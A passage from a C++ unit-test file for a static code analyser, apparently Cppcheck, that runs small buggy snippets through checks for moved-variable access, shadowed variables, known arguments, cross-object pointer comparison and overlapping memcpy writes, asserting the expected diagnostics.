ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movePointerAlias()\n {\n check(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" std::string s1 = std::move(s);\\n\"\n \" const std::string* s_p = &s;\\n\"\n \" s_p->size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Access of moved variable '.'. [accessMoved]\\n\", errout_str());\n }\n\n void funcArgNamesDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int A, int B, int C) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int a = 0, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int A, int B, int C) { }\\n\"\n \"void Fred::func3(int a, int b, int c) { }\\n\"\n \"void Fred::func4(int A, int B, int C) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:23] -> [test.cpp:4:23]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:30] -> [test.cpp:4:30]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:20] -> [test.cpp:12:22]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:27] -> [test.cpp:12:29]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:34] -> [test.cpp:12:36]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (style, inconclusive) Function 'func4' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:31] -> [test.cpp:14:29]: (style, inconclusive) Function 'func4' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:42] -> [test.cpp:14:36]: (style, inconclusive) Function 'func4' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\", errout_str());\n }\n\n void funcArgOrderDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int c, int b, int a) { }\\n\"\n \"void func3(int, int b, int c);\\n\"\n \"void func3(int c, int b, int a) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int c, int b, int a) { }\\n\"\n \"void Fred::func3(int c, int b, int a) { }\\n\"\n \"void Fred::func4(int c, int b, int a) { }\\n\",\n true, false);\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:5:12] -> [test.cpp:6:16]: (warning) Function 'func3' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:10:20] -> [test.cpp:15:22]: (warning) Function 'func3' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:11:16] -> [test.cpp:16:22]: (warning) Function 'func4' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\", errout_str());\n }\n\n // #7846 - Syntax error when using C++11 braced-initializer in default argument\n void cpp11FunctionArgInit() {\n // syntax error is not expected\n ASSERT_NO_THROW(check(\"\\n void foo(int declaration = {}) {\"\n \"\\n for (int i = 0; i < 10; i++) {}\\n\"\n \"\\n }\"\n \"\\n \"));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void shadowVariables() {\n check(\"int x;\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int x();\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" C(int x) : x(x) {}\\n\" // <- we do not want a FP here\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (cond) {int x;}\\n\" // <- not a shadow variable\n \" int x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int size() {\\n\"\n \" int size;\\n\" // <- not a shadow variable\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #8954 - lambda\n \" int x;\\n\"\n \" auto f = [](){ int x; }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:1:21]: (style) Local variable 'x' shadows outer argument [shadowArgument]\\n\", errout_str());\n\n check(\"class C { C(); void foo() { static int C = 0; } }\"); // #9195 - shadow constructor\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10091 - shadow destructor\n \" ~C();\\n\"\n \" void f() {\\n\"\n \" bool C{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"C::~C() = default;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 10752 - no\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"\\n\"\n \" static int foo() {\\n\"\n \" int i = 0;\\n\"\n \" return i;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" void f() { int i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:20]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" std::vector v;\\n\"\n \" void f() const { for (const int& i : v) {} }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:38]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10405\n \" F* f{};\\n\"\n \" std::list fl;\\n\"\n \" void S::f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (const F& f : fl) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:7:19]: (style) Local variable 'f' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"extern int a;\\n\"\n \"int a;\\n\"\n \"static int f(void) {\\n\"\n \" int a;\\n\"\n \" return 0;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:1:12] -> [test.c:4:9]: (style) Local variable 'a' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #12591\n \" int g = 0;\\n\"\n \" return g;\\n\"\n \"}\\n\"\n \"int g() { return 1; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #13888\n \" int i;\\n\"\n \" friend int f() { int i = 5; return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgument() {\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (style) Argument '(int)((x&0x01)>>7)' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int, int);\\n\"\n \"void f(int x) {\\n\"\n \" g(x, (x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:20]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void h() { return 1; }\\n\"\n \"void f(int x) {\\n\"\n \" g(h());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(std::strlen(\\\"a\\\"));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(Foo *);\\n\"\n \"void f() {\\n\"\n \" g(reinterpret_cast(0));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" x = 0;\\n\"\n \" g(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" const int x = 0;\\n\"\n \" g(x + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" char i = 1;\\n\"\n \" g(static_cast(i));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char *yytext;\\n\"\n \"void re_init_scanner() {\\n\"\n \" int size = 256;\\n\"\n \" yytext = xmalloc(size * sizeof *yytext);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const char *c) {\\n\"\n \" if (*c == '+' && (operand || !isalnum(*c))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8986\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" const int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Variable 'x' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"struct A { int x; };\"\n \"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" A y;\\n\"\n \" y.x = 1;\\n\"\n \" g(y.x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // allow known argument value in assert call\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" ASSERT((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9905 - expression that does not use integer calculation at all\n check(\"void foo() {\\n\"\n \" const std::string heading = \\\"Interval\\\";\\n\"\n \" std::cout << std::setw(heading.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9909 - struct member with known value\n check(\"struct LongStack {\\n\"\n \" int maxsize;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void growLongStack(LongStack* self) {\\n\"\n \" self->maxsize = 32;\\n\"\n \" dostuff(self->maxsize * sizeof(intptr_t));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11894\n check(\"struct S {\\n\"\n \" int *p, n;\\n\"\n \"};\\n\"\n \"S* g() {\\n\"\n \" S* s = static_cast(calloc(1, sizeof(S)));\\n\"\n \" s->n = 100;\\n\"\n \" s->p = static_cast(malloc(s->n * sizeof(int)));\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11679\n check(\"bool g(int);\\n\"\n \"void h(int);\\n\"\n \"int k(int a) { h(a); return 0; }\\n\"\n \"void f(int i) {\\n\"\n \" if (g(k(i))) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11889\n check(\"struct S {\\n\"\n \" int a[5];\\n\"\n \" void f(int i);\\n\"\n \"}\\n\"\n \"void g(int);\\n\"\n \"void S::f(int i) {\\n\"\n \" if (a[i] == 1) {\\n\"\n \" a[i] = 0;\\n\"\n \" g(a[i]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11927\n check(\"void f(func_t func, int i) {\\n\"\n \" (func)(i, 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void operator()(int, int); };\\n\"\n \"void f(int i) {\\n\"\n \" S()(i, 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& r) {\\n\"\n \" g(static_cast(r = 42));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f(int i) {\\n\"\n \" const int a[] = { i - 1 * i, 0 };\\n\"\n \" auto s = S{ i - 1 * i };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Argument 'i-1*i' to init list { is always 0. It does not matter what value 'i' has. [knownArgument]\\n\"\n \"[test.cpp:4:19]: (style) Argument 'i-1*i' to constructor S is always 0. It does not matter what value 'i' has. [knownArgument]\\n\",\n errout_str());\n\n checkP(\"#define MACRO(X) std::abs(X ? 0 : a)\\n\"\n \"int f(int a) {\\n\"\n \" return MACRO(true);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgumentHiddenVariableExpression() {\n // #9914 - variable expression is explicitly hidden\n check(\"void f(int x) {\\n\"\n \" dostuff(x && false);\\n\"\n \" dostuff(false && x);\\n\"\n \" dostuff(x || true);\\n\"\n \" dostuff(true || x);\\n\"\n \" dostuff(x * 0);\\n\"\n \" dostuff(0 * x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Argument 'false&&x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:5:18]: (style) Argument 'true||x' to function dostuff is always 1. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:6:15]: (style) Argument 'x*0' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:7:15]: (style) Argument '0*x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\", errout_str());\n }\n\n void knownArgumentTernaryOperator() { // #10374\n check(\"void f(bool a, bool b) {\\n\"\n \" const T* P = nullptr; \\n\"\n \" long N = 0; \\n\"\n \" const bool c = foo(); \\n\"\n \" bar(P, N); \\n\"\n \" if (c ? a : b)\\n\"\n \" baz(P, N); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparePointers() {\n check(\"int f() {\\n\"\n \" const int foo[1] = {0};\\n\"\n \" const int bar[1] = {0};\\n\"\n \" int diff = 0;\\n\"\n \" if(foo > bar) {\\n\"\n \" diff = 1;\\n\"\n \" }\\n\"\n \" return diff;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:15] -> [test.cpp:5:8] -> [test.cpp:3:15] -> [test.cpp:5:14] -> [test.cpp:5:12]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 0;\\n\"\n \" int* xp = &x;\\n\"\n \" int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:15] -> [test.cpp:3:9] -> [test.cpp:5:15] -> [test.cpp:6:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f() {\\n\"\n \" A x;\\n\"\n \" A y;\\n\"\n \" int* xp = &x.data;\\n\"\n \" int* yp = &y.data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:7] -> [test.cpp:5:15] -> [test.cpp:4:7] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix, A iy) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = &iy;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10] -> [test.cpp:3:12] -> [test.cpp:5:15] -> [test.cpp:2:16] -> [test.cpp:4:12] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(int * xp, int* yp) {\\n\"\n \" return &xp > &yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:14] -> [test.cpp:2:12] -> [test.cpp:1:23] -> [test.cpp:2:18] -> [test.cpp:2:16]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x - &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x[2] = {1, 2}m;\\n\"\n \" int* xp = &x[0];\\n\"\n \" int* yp = &x[1];\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(const int * xp, const int* yp) {\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const int & x, const int& y) {\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g();\\n\"\n \"bool f() {\\n\"\n \" const int& x = g();\\n\"\n \" const int& y = g();\\n\"\n \" const int* xp = &x;\\n\"\n \" const int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = x;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #11576\n \"int f(S s) {\\n\"\n \" return &s.i - (int*)&s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"int f(S s1, S s2) {\\n\"\n \" return &s1.i - reinterpret_cast(&s2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12] -> [test.cpp:2:15] -> [test.cpp:3:43] -> [test.cpp:3:18]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"struct S { int a; int b; };\\n\" // #12422\n \"int f() {\\n\"\n \" S s;\\n\"\n \" return &s.b - &s.a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unusedVariableValueTemplate() {\n check(\"#include \\n\"\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class Hash\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" std::size_t operator()(const A& a) const\\n\"\n \" {\\n\"\n \" (void)a;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\\n\"\n \"namespace std\\n\"\n \"{\\n\"\n \" template <>\\n\"\n \" struct hash\\n\"\n \" {\\n\"\n \" std::size_t operator()(const A& a) const noexcept\\n\"\n \" {\\n\"\n \" return A::Hash{}(a);\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moduloOfOne() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = x % 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Modulo of one is always equal to zero [moduloofone]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for (int x = 1; x < 10; x++) {\\n\"\n \" int y = 100 % x;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i, int j) {\\n\" // #11191\n \" const int c = pow(2, i);\\n\"\n \" if (j % c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sameExpressionPointers() {\n check(\"int f(int *i);\\n\"\n \"void g(int *a, const int *b) {\\n\"\n \" int c = *a;\\n\"\n \" f(a);\\n\"\n \" if (b && c != *a) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkOverlappingWrite() {\n // union\n check(\"void foo() {\\n\"\n \" union { int i; float f; } u;\\n\"\n \" u.i = 0;\\n\"\n \" u.i = u.f;\\n\" // <- error\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Overlapping read/write of union is undefined behavior [overlappingWriteUnion]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11013\n \" union { struct { uint8_t a; uint8_t b; }; uint16_t c; } u;\\n\"\n \" u.a = u.b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // memcpy\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[8];\\n\"\n \" memcpy(&a[0], &a[4], 4u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"_Bool a[10];\\n\" // #10350\n \"void foo() {\\n\"\n \" memcpy(&a[5], &a[4], 2u * sizeof(a[0]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"int K[2];\\n\" // #12638\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, sizeof(*p));\\n\"\n \" memcpy(p + 1, p, sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int K[2];\\n\"\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], 2 * sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], 2 *sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, 2 * sizeof(*p));\\n\"\n \" memcpy(p + 1, p, 2 * sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:4:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:5:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:6:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\",\n errout_str());\n\n // wmemcpy\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n // strcpy\n check(\"void foo(char *ptr) {\\n\"\n \" strcpy(ptr, ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Overlapping read/write in strcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n }\n\n void constVariableArrayMember() { // #10371\n check(\"class Foo {\\n\"\n \"public:\\n\"\n \" Foo();\\n\"\n \" int GetVal() const { return m_Arr[0]; }\\n\"\n \" int m_Arr[1];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownPointerToBool()\n {\n check(\"void g(bool);\\n\"\n \"void f() {\\n\"\n \" int i = 5;\\n\"\n \" int* p = &i;\\n\"\n \" g(p);\\n\"\n \" g(&i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (style) Pointer expression 'p' converted to bool is always true. [knownPointerToBool]\\n\"\n \"[test.cpp:6:7]: (style) Pointer expression '&i' converted to bool is always true. [knownPointerToBool]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(const_cast(x));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool x; };\\n\"\n \"bool f(A* a) {\\n\"\n \" if (a) {\\n\"\n \" return a->x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int* x; };\\n\"\n \"bool f(A a) {\\n\"\n \" if (a.x) {\\n\"\n \" return a.x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n 